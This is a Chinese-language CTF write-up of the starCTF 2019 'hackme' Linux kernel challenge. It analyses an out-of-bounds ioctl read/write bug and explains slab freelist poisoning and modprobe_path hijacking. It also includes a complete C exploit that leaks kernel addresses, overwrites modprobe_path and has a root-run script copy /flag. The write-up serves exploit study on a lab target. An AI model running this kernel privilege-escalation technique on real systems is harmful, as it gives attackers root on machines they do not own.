starCTF 2019 hackme
196082 慢慢好起来

题目分析

这道题依旧是一道kernel的堆题,题目很简单这里简单分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
__int64 __fastcall hackme_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 v3; // rax
__int64 v4; // rsi
__int64 *v5; // rax
__int64 v7; // rax
__int64 v8; // rdi
__int64 *v9; // rax
__int64 size; // r12
__int64 content; // r13
__int64 *v12; // rbx
__int64 v13; // rbx
__int64 v14; // rdi
__int64 *v15; // rbx
__int64 v16; // rax
arg v17; // [rsp+0h] [rbp-38h] BYREF

copy_from_user(&v17, a3, 0x20LL);
if ( a2 == 0x30001 )
{
v13 = 2LL * LODWORD(v17.idx);
v14 = pool[v13];
v15 = &pool[v13];
if ( v14 )
{
kfree();
*v15 = 0LL;
return 0LL;
}
return -1LL;
}
if ( a2 > 0x30001 )
{
if ( a2 == 0x30002 )
{
v7 = 2LL * LODWORD(v17.idx);
v8 = pool[v7];
v9 = &pool[v7];
if ( v8 && v17.offset + v17.size <= (unsigned __int64)v9[1] )
{
copy_from_user(v17.offset + v8, v17.content, v17.size);
return 0LL;
}
}
else if ( a2 == 0x30003 )
{
v3 = 2LL * LODWORD(v17.idx);
v4 = pool[v3];
v5 = &pool[v3];
if ( v4 )
{
if ( v17.offset + v17.size <= (unsigned __int64)v5[1] )
{
copy_to_user(v17.content, v17.offset + v4, v17.size);
return 0LL;
}
}
}
return -1LL;
}
if ( a2 != 0x30000 )
return -1LL;
size = v17.size;
content = v17.content;
v12 = &pool[2 * LODWORD(v17.idx)];
if ( *v12 )
return -1LL;
v16 = _kmalloc(v17.size, 0x6000C0LL);
if ( !v16 )
return -1LL;
*v12 = v16;
copy_from_user(v16, content, size);
v12[1] = size;
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
00000000 arg struc ; (sizeof=0x20, mappedto_4)   ; XREF: hackme_ioctl/r
00000000 idx dq ? ; XREF: hackme_ioctl+46/r
00000000 ; hackme_ioctl:loc_8E/r ...
00000008 content dq ? ; XREF: hackme_ioctl+51/r
00000008 ; hackme_ioctl+99/r ...
00000010 size dq ? ; XREF: hackme_ioctl+4D/r
00000010 ; hackme_ioctl+95/r ...
00000018 offset dq ? ; XREF: hackme_ioctl+49/r
00000018 ; hackme_ioctl+91/r
00000020 arg ends

下面是分析出来的结构体,可以看到题目实现了四个较为基本的功能,增加堆块,删除堆块,修改堆块,读取堆块。

漏洞分析

这里需要注意的对于读写的时候检测offset的方式是 offset+size<(unsigned __int64)size 这里可以看出来存在向上溢出任意地址的读和写。

kernel使用的堆分配机制是Buddy System和Slab分配器。而Slab分配器是类似于ptmalloc中的fastbin。kmem_cache_cpu中的freelist指向一个slab中第一个空闲的object,接着object存在指针指向后面空闲的object。而这个指针是很类似于fastbin,我们如果修改的话可以实现任意地址分配堆块。

modprobe_path利用原理

首先,什么是modprobe呢?根据维基百科的说法:“modprobe是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块”。也就是说,它是我们在Linux内核中安装或卸载新模块时都要执行的一个程序。该程序的路径是一个内核全局变量,默认为/sbin/modprobe

modprobe的路径, 默认是/sbin/modprobe, 存放在内核本身的符号modprobe_path下, 同时,它位于一个可写的内存页中。我们可以通过读取/proc/kallsyms得到它的地址

其次,当我们执行的文件的类型是系统未知的类型时,将执行modprobe程序(其路径存储在modprobe_path中)。 更准确地说,如果我们对文件签名(又称魔术头)为系统未知的文件调用execve()函数时,它将调用下列函数,并最终调用modprobe

do_execve()=>do_execveat_common()=>bprm_execve()=>exec_binprm()=>search_binary_handler()=>request_module()=>call_modprobe()

所有这些调用最终将执行下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int call_modprobe(char *module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};

char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;

module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;

argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);

free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}

在这篇文章中 kernel pwn内存任意读写提升权限[2] 提到了call_usermodehelper函数,这个函数可以在内核中直接新建和运行用户空间程序,并且该程序具有root权限,因此只要将参数传递正确就可以执行任意命令。然而这个函数的定义可以看出来也是调用了call_usermodehelper_setup和call_usermodehelper_exec,所以猜测这一函数也可以达到一样的效果,结果也证明事实确实如此

1
2
3
4
5
6
7
8
9
10
11
12
int call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;

return call_usermodehelper_exec(info, wait);
}

利用思路

所以我们的思路就是覆盖掉modprobe_path值为我们期望的值即可。

那么首先还是需要泄露地址,这里泄露堆地址就不再提了,存在向上任意溢出所以随便怎么泄露都可。

内核基址的读取需要一点猜测的成分在,可知0号内存0xffff88800017a500之前是已经在用的系统块,那么一定存在一些内核的指针。

image-20220810154050545

image-20220810154112166

可以看到这上面确实存在一个固定函数地址,所以可以跟他计算出基地值。

虽然我们可以直接泄露出来modprobe_path的地址,并且实现任意分配堆地址分配到指定位置,但是这样会破坏很多周围的数据,我们的想法肯定是值修改modprobe_path的值,所以我们还需要进一步利用。接下来的思路就是将堆块分配到pool上,那么我们就可以篡改pool上的堆指针为modprobe_path的地址,那我们就可以只修改他的值了,那么现在的问题是怎么获取到pool的值呢?

image-20220810154529735

在mod_tree内存的附近处会存留驱动的地址

image-20220810154831475

所以我们可以任意堆分配到这里然后泄露出驱动地址,紧接着任意堆分配到pool最后修改pool中的指针为modprobe_path地址,最后修改modprobe_path的值即可

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

struct Arg
{
long int idx;
char *content;
long int size;
long int offset;
};

void print_hex(char *buf, int size)
{
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++)
{
if (i % 2 == 0)
{
printf("%d", i / 2);
}
printf(" %16llx", *(size_t *)(buf + i * 8));
if (i % 2 == 1)
{
printf("\n");
}
}
puts("======================================");
}

int main()
{
struct Arg arg;
int fp = open("/dev/hackme", 0);
if (fp < 0)
{
printf("[-] open /dev/hackme failed\n");
exit(-1);
}
char *buf;
long int heap_addr;
long int kernel_addr;
long int mod_tree_addr;
long int mode_addr;
long int pool_addr;
long int modprobe_path_addr;

buf = malloc(0x1000);
memset(buf, 0, 0x1000);
memset(buf, 'a', 0x100);
arg.idx = 0;
arg.content = buf;
arg.size = 0x100;
ioctl(fp, 0x30000, &arg);
arg.idx = 1;
ioctl(fp, 0x30000, &arg);
arg.idx = 2;
ioctl(fp, 0x30000, &arg);
arg.idx = 3;
ioctl(fp, 0x30000, &arg);
arg.idx = 4;
ioctl(fp, 0x30000, &arg);

arg.idx = 1;
ioctl(fp, 0x30001, &arg);
arg.idx = 3;
ioctl(fp, 0x30001, &arg);

memset(buf, 0, 0x1000);
arg.idx = 4;
arg.content = buf;
arg.offset = -0x100;
arg.size = 0x100;
ioctl(fp, 0x30003, &arg);
print_hex(buf, sizeof(buf));
heap_addr = *((unsigned long int *)buf);

memset(buf, 0, 0x1000);
arg.idx = 0;
arg.content = buf;
arg.offset = -0x200 + 0x28;
arg.size = 0x200 - 0x28;
ioctl(fp, 0x30003, &arg);
print_hex(buf, sizeof(buf));
kernel_addr = *((unsigned long int *)buf);
mod_tree_addr = kernel_addr - 0x38ae0;

memset(buf, 0, 0x1000);
*((unsigned long int *)buf) = mod_tree_addr + 0x20;
arg.idx = 4;
arg.content = buf;
arg.offset = -0x100;
arg.size = 0x100;
ioctl(fp, 0x30002, &arg);

memset(buf, 'a', 0x100);
arg.idx = 5;
arg.content = buf;
arg.size = 0x100;
ioctl(fp, 0x30000, &arg);
arg.idx = 6;
ioctl(fp, 0x30000, &arg);

memset(buf, 0, 0x1000);
arg.idx = 6;
arg.content = buf;
arg.size = 0x8;
arg.offset = -0x8;
ioctl(fp, 0x30003, &arg);
print_hex(buf, sizeof(buf));
mode_addr = *((unsigned long int *)buf);
pool_addr = mode_addr + 0x2400;

arg.idx = 5;
ioctl(fp, 0x30001, &arg);
*((unsigned long int *)buf) = pool_addr + 0x90;
arg.idx = 4;
arg.content = buf;
arg.offset = -0x100;
arg.size = 0x100;
ioctl(fp, 0x30002, &arg);

modprobe_path_addr = mod_tree_addr + 0x2e960;
memset(buf, 'a', 0x100);
arg.idx = 7;
arg.content = buf;
arg.size = 0x100;
ioctl(fp, 0x30000, &arg);
arg.idx = 8;
memset(buf, 0, 0x1000);
*((unsigned long int *)buf) = modprobe_path_addr;
*((unsigned long int *)buf + 1) = 0x100;
ioctl(fp, 0x30000, &arg);

strncpy(buf, "/home/pwn/copy.sh\x00", 18);
arg.idx = 9;
arg.content = buf;
arg.size = 0x18;
arg.offset = 0;
ioctl(fp, 0x30002, &arg);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");

return 0;
}

image-20220810155109129

当然其实在劫持到pool这一步也是可以直接使用 WCTF 2018 klist 这道题的利用方式,利用堆溢出泄漏出cred然后修改cred结构体即可,因为这道题目的漏洞相对来说比较严重,所以ptmx劫持栈什么的都是可以的。这篇文章主要是记录没有遇到过的利用方法。


参考链接:http://p4nda.top/2019/05/01/starctf-2019-hackme/#%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量